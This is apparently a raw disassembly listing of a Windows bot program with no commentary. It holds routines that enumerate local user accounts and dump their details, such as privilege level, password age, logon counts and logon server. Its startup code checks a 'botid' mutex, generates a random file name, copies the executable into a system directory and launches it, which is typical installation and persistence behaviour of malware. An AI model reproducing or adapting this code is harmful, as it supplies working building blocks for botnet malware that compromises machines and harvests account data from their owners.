arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax


loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84


loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443F38
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172AE
		add	esp, 0Ch


loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43F54C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43F53C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43F6C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172AE
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"


loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172AE
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------


loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172AE
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h


loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43F6F8


loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43F5D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452


loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch


loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43F6F8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43F6F8


loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF


loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_443CD8
		call	sub_4172AE
		pop	ecx
		mov	eax, offset dword_443CD8
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43F678
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_443AD4
		push	offset dword_42F568
		push	esi
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------


loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_443AD4
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172AE
		add	esp, 14h


loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_489C50, eax
		call	esi
		push	eax
		call	sub_417300
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43F714
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		nop
		call	near ptr 27D034Eh
		push	eax
		nop
		call	near ptr 26409E5h
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		call	near ptr 77E75CB5h
		nop


loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43F5E0
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 260090Eh
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 2710C80h
		nop
		push	eax
		nop
		call	near ptr 2650000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F678
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824


loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F678[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801


loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2680391h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2770000h


loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		nop
		call	near ptr 2640A83h
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4


loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 260086Bh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------


loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2770000h
		nop
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_43C80C
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		call	near ptr 27C0D4Bh
		nop
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 2710724h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_435144
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2750531h
		nop
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		nop
		call	near ptr 260086Bh
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43F5C8
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_48A030, 2
		jle	short loc_40E9D8
		mov	eax, dword_48A034
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26409E5h
		push	esi
		nop
		call	near ptr 26217F0h
		mov	eax, dword_48A034
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 260086Bh
		mov	eax, dword_48A034
		push	dword ptr [eax+8]
		nop
		call	near ptr 27C0CA1h


loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43F738, ebx
		jnz	short loc_40E9F5
